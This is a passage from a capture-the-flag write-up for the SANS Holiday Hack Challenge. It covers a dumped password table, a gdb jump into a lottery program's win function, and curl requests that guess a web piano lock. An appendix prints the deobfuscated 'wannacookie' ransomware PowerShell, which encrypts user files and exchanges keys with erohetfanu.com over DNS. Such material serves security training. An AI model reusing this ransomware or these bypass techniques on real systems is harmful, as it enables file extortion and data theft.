alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com
sqlite>
Looking at the password table, we can see the password for “vault” is “ED#ED#EED#EF#G#F#G#ABA#BA#B”, which
would appear to be the notes to a song and the Answer to Objective twelve.
68
Hi, I'm Shinny Upatree.
Hey! Mind giving ole' Shinny Upatree some help? There's a contest I HAVE to win.
As long as no one else wins first, I can just keep trying to win the Sleigh Bell Lotto, but this could take forever!
I'll bet the GNU Debugger can help us. With the PEDA modules installed, it can be prettier. I mean easier.
So for this challenge we need to use GNU Debugger. GNU Debugger is a program to debug other programs while they’re
executing (https://www.gnu.org/software/gdb/). Logging into the console we see the following shown in Figure 65.
elf@9130abdfc328:~$ ll
total 60
drwxr-xr-x 1 elf elf 4096 Dec 14 16:22 ./
drwxr-xr-x 1 root root 4096 Dec 14 16:21 ../
-rw-r--r-- 1 elf elf 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 elf elf 3785 Dec 14 16:21 .bashrc
-rw-r--r-- 1 elf elf 807 Apr 4 2018 .profile
lrwxrwxrwx 1 elf elf 12 Dec 14 16:21 gdb -> /usr/bin/gdb*
lrwxrwxrwx 1 elf elf 16 Dec 14 16:21 objdump -> /usr/bin/objdump*
-rwxr-xr-x 1 root root 38144 Dec 14 16:22 sleighbell-lotto*
So let’s attach the gdb debugger to sleighbell-lotto…but start with a call to nm which lists symbols from object files
(https://linux.die.net/man/1/nm).
nm sleighbell-lotto
[...]
69
0000000000000f18 T tohex
0000000000208060 D winnermsg
0000000000000fd7 T winnerwinner
elf@9130abdfc328:~$ gdb sleighbell-lotto
[...]
We can see that there is a winnerwinner function, so invoking that will hopefully allow us to win the lottery….
While in gdb, first we need to issue a break main to pause after starting the program (Line 1:), then run the program
(Line 3:), and finally issue a jump winnerwinner (Line 9). This skips over the rest of the program and goes right into the
routine. We can see we succeed by the winning screen (Figure 66).
70
Figure 72. The Sleighbell lotto winning screen.
With a winning lottery elf, that being Shinny, we get some more information and hints…
We see a Piano Lock which we didn’t really have any password/sequence for in this room and when we click it
we are presented with a portion of a piano.
71
Figure 73. The Piano Lock.
Nothing happens until after we hit enough keys to fill the song bars, when we watch the network requests in the
browser tools, we see that our song/code is checked by a call to https://pianolockn.kringlecastle.com/checkpass.php,
with the song notes being passed in the i parameter… i =EFshEDshEDshEDshEDshEEDshEFFFF
Trying with some random notes, we can see the normal, unsuccessful response…
$ curl
'https://pianolockn.kringlecastle.com/checkpass.php?i=EFshEDshEDshEDshEDshEEDshEFFFF&resourceId=und
efined'
{"success":false,"message":"Incorrect guess."}
Here we can see they are using a slightly different scheme than our password file, where instead of using ‘#’ for sharps,
they are using ‘sh’. We can convert the password notes to the new format with:
Let’s try modifying an existing checkpass.php request and change the i parameter to the song from the password file.
$ curl
'https://pianolockn.kringlecastle.com/checkpass.php?i=EDshEDshEEDshEFshGshFshGshABAshBAshB&resource
Id=undefined'
{"success":false,"message":"offkey"}
Still no a success, but this time the message is different… “offkey”, so perhaps this is the right melody, but just not in the
72
right key. Good thing we found a document teaching us about key transposition in Objective Eight.
In that document we transposed Mary Had a Little Lamb to the key of A, which happened to be a half-step down. Our
vault song is in the key of B, so transposing it to A would mean transposing one full step down.
We can either manually transpose or use a tool (e.g. http://www.logue.net/xp/) to perform the transposition… after
transposing we get:
DC#DC#DDC#DEF#EF#GAG#AG#A
or
DCshDCshDDCshDEFshEFshGAGshAGshA, when converted to the format used by checkpass.php
$ curl
'https://pianolockn.kringlecastle.com/checkpass.php?i=DCshDCshDDCshDEFshEFshGAGshAGshA&resourceId=u
ndefined'
{"success":true,"resourceId":"undefined","hash":"39c991fe278c91e32168f02f3e54bce46b5ada18927e7c8155
4024ec6760d592","message":"Correct guess!"}
Entering the sequence into the Piano Lock by using the attachment we pulled from Alabaster’s email earlier as a guide
for the key’s values, we enter in the sequence and see the message You have unlocked Santa’s vault! appear.
Answering objective thirteen’s question.
73
Figure 74. Completing the Piano-Code message.
Figure 75. Rather than entering the song by hand, we can wrap each note in a call to notePress() to enter the song via Browser web console
74
Objective Fourteen – Who is Behind it All?
Who was the mastermind behind the whole KringleCon plan? And, in your emailed answers
(SANSHolidayHackChallenge@counterhack.com) please explain that plan.
Figure 76. Kicking it with Santa, Hans, and some not so grump elves….
After getting into the Secret Room we find Santa, Hans, and two Elf-in-Disguise guards..it turns out that Santa
was behind the entire “show” in order to find someone (or some people) who could be versatile enough with computer
skills and knowledge to help defend the North Pole’s computer infrastructure.
Santa says
You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you.
And you passed the test!
You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!
You see, I finally found you!
I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against
even the craftiest attackers.
That’s why we had so many different challenges this year.
We needed to find someone with skills all across the spectrum.
I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the
plot we devised.
And you did!
Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.
See what happens when they take off those hats?
Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad
guys.
And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever
wanted?
They lived happily ever after.
75
Appendix A - Wannacookie.min.ps1 in readable format with function descriptions
The non-minified version could also be obtained by using the function of the minified code to retrieve the unobfuscated
PowerShell script as well
wannacookie.min.ps1 - reformatted
76
foreach ($element in $b) { $c = $c + " " +
[System.String]::Format("{0:X}",[System.Convert]::ToUInt32($element)) };
return $c -replace ' ' };
function H2A () { param($a);
$outa;
$a -split '(..)' | Where-Object { $_ } | ForEach-Object { [char]([convert]::ToInt16($_,16)) } |
ForEach-Object { $outa = $outa + $_ };
return $outa };
function B2H { param($DEC);
$tmp = '';
foreach ($value in $DEC) { $a = "{0:x}" -f [int]$value;
if ($a.Length -eq 1) { $tmp += '0' + $a } else { $tmp += $a } };
return $tmp };
function ti_rox { param($b1,$b2);
$b1 = $(H2B $b1);
$b2 = $(H2B $b2);
$cont = New-Object Byte[] $b1.count;
if ($b1.count -eq $b2.count) { for ($i = 0;
$i -lt $b1.count;
$i++) { $cont[$i] = $b1[$
i] -bxor $b2[$i] } };
return $cont };
function B2G { param([byte[]]$Data);
process { $out = [System.IO.MemoryStream]::new();
$gStream = New-Object System.IO.Compression.GzipStream
$out,([IO.Compression.CompressionMode]::Compress);
$gStream.Write($Data,0,$Data.Length);
$gStream.Close();
return $out.ToArray() } };
function G2B { param([byte[]]$Data);
process { $SrcData = New-Object System.IO.MemoryStream (,$Data);
$output = New-Object System.IO.MemoryStream;
$gStream = New-Object System.IO.Compression.GzipStream
$SrcData,([IO.Compression.CompressionMode]::Decompress);
$gStream.CopyTo($output);
$gStream.Close();
$SrcData.Close();
[byte[]]$byteArr = $output.ToArray();
return $byteArr } };
function sh1 ([string]$String) { $SB = New-Object System.Text.StringBuilder;
[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::U
TF8.GetBytes($String)) | ForEach-Object { [void]$SB.Append($_.ToString("x2")) };
$SB.ToString() };
function p_k_e ($key_bytes,[byte[]]$pub_bytes) { $cert = New-Object -TypeName
System.Security.Cryptography.X509Certificates.X509Certificate2;
$cert.Import($pub_bytes);
$encKey = $cert.PublicKey.Key.Encrypt($key_bytes,$true);
return $(B2H $encKey) };
function e_n_d { param($key,$allfiles,$make_cookie);
$tcount = 12;
for ($file = 0;
$file -lt $allfiles.Length;
$file++) { while ($true) { $running = @(Get-Job | Where-Object { $_.State -eq 'Running' });
if ($running.count -le $tcount) { Start-Job -ScriptBlock { param($key,$File,$true_false);
try { e_d_file $key $ File $true_false } catch { $_.Exception.Message | Out-String |
Out-File $($env:userprofile + '\Desktop\ps_log.txt') -Append } } -args
$key,$allfiles[$file],$make_cookie -InitializationScript $functions;
77
break } else { Start-Sleep -m 200;
continue } } } };
function g_o_dns ($f) { $h = '';
foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name
"$f.erohetfanu.com" -Type TXT).Strings,10) - 1)) { $h += $(Resolve-DnsName -Server erohetfanu.com
-Name "$i.$f.erohetfanu.com" -Type TXT).Strings };
return (H2A $h) };
function s_2_c ($astring,$size = 32) { $new_arr = @();
$chunk_index = 0;
foreach ($i in 1..$($astring.Length / $size)) { $new_arr +=
@($astring.substring($chunk_index,$ size));
$chunk_index += $size };
return $new_arr };
function snd_k ($enc_k) { $chunks = (s_2_c $ enc_k);
foreach ($j in $chunks) { if ($chunks.IndexOf($j) -eq 0) { $n_c_id = $(Resolve-DnsName -Server
erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings } else {
$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com"
-Type TXT).Strings } };
return $n_c_id };
function wanc { $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1)))
$(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type
TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) { return };
if ($(netstat -ano | Select-String "127.0.0.1:8080").Length -ne 0 -or (Get-WmiObject
Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") { return };
$p_k = [System.Convert]::FromBase64String($(g_o_dns ("7365727665722E637274")));
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) +
([char[]]([char]01..[char]255)) + 0..9 | sort { Get-Random })[0..15] -join '')) | Where-Object {
$_ -ne 0x00 });
$h_k = $(B2H $b_k);
$k_h = $(sh1 $h_k);
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
$c_id = (snd_k $p_k_e_k);
$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");
[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile +
'\Desktop'),$($env:userprofile + '\Documents'),$($env:userprofile + '\Videos'),$($env:userprofile
+ '\Pictures'),$($env:userprofile + '\Music')) -Recurse | Where-Object { !$_.PSIsContainer } |
ForEach-Object { $_.FullName });
e_n_d $b_k $f_c $true;
Clear-Variable -Name "h_k";
Clear-Variable -Name "b_k";
$lurl = 'http://127.0.0.1:8080/';
$html_c = @{ 'GET /' = $(g_o_dns (A2H "source.min.html"));
'GET /close' = '<p>Bye!</p>' };
Start-Job -ScriptBlock { param($url);
Start-Sleep 10;
Add-Type -AssemblyName System.Windows.Forms;
Start-Process "$url" -WindowStyle Maximized;
Start-Sleep 2;
[System.Windows.Forms.SendKeys]::SendWait("{F11}") } -Arg $lurl;
$list = New-Object System.Net.HttpListener;
$list.Prefixes.Add($lurl);
$list.Start();
try { $close = $false;
while ($list.IsListening) { $context = $list.GetContext();
$Req = $context.Request;
78
$Resp = $context.Response;
$recvd = '{0} {1}' -f $Req.httpmethod,$Req.url.localpath;
if ($recvd -eq 'GET /') { $html = $html_c[$recvd] } elseif ($recvd -eq 'GET /decrypt') {
$akey = $Req.QueryString.Item("key");
if ($k_h -eq $(sh1 $akey)) { $akey = $(H2B $akey);
[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie |
Where-Object { !$_.PSIsContainer } | ForEach-Object { $_.FullName });
e_n_d $akey $f_c $false;
$html = "Files have been decrypted!";
$close = $true } else { $html = "Invalid Key!" } } elseif ($recvd -eq 'GET /close') {
$close = $true;
$html = $html_c[$recvd] } elseif ($recvd -eq 'GET /cookie_is_paid') { $c_n_k =
$(Resolve-DnsName -Server erohetfanu.com -Name
("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;
if ($c_n_k.Length -eq 32) { $html = $c_n_k } else { $html = "UNPAID|$c_id|$d_t" } } else {
$Resp.statuscode = 404;
$html = '<h1>404 Not Found</h1>' };
$buffer = [Text.Encoding]::UTF8.GetBytes($html);
$Resp.ContentLength64 = $buffer.Length;
$Resp.OutputStream.Write($buffer,0,$buffer.Length);
$Resp.Close();
if ($close) { $list.Stop();
return } } } finally { $list.Stop() } };
wanc;
e_d_file ($key,$File,$enc_it) Encrypt/Decrypt $File with $key; encrypts when $enc_it is true
ti_rox { param($b1,$b2) xor_it backwards; returns binary bitwise XOR on two hash
parameters
g_o_dns ($f) Get over DNS; retrieves content over multiple DNS queries
79
s_2_c ($astring,$size = 32) String 2 chunks; breaks $astring into array of strings with length
$size
snd_k ($enc_k) Send encryption key to server over DNS (and get a client id)
wanc variables
$p_k_e_k public key encrypted key (encryption key encrypted with public key) -- sent to server
80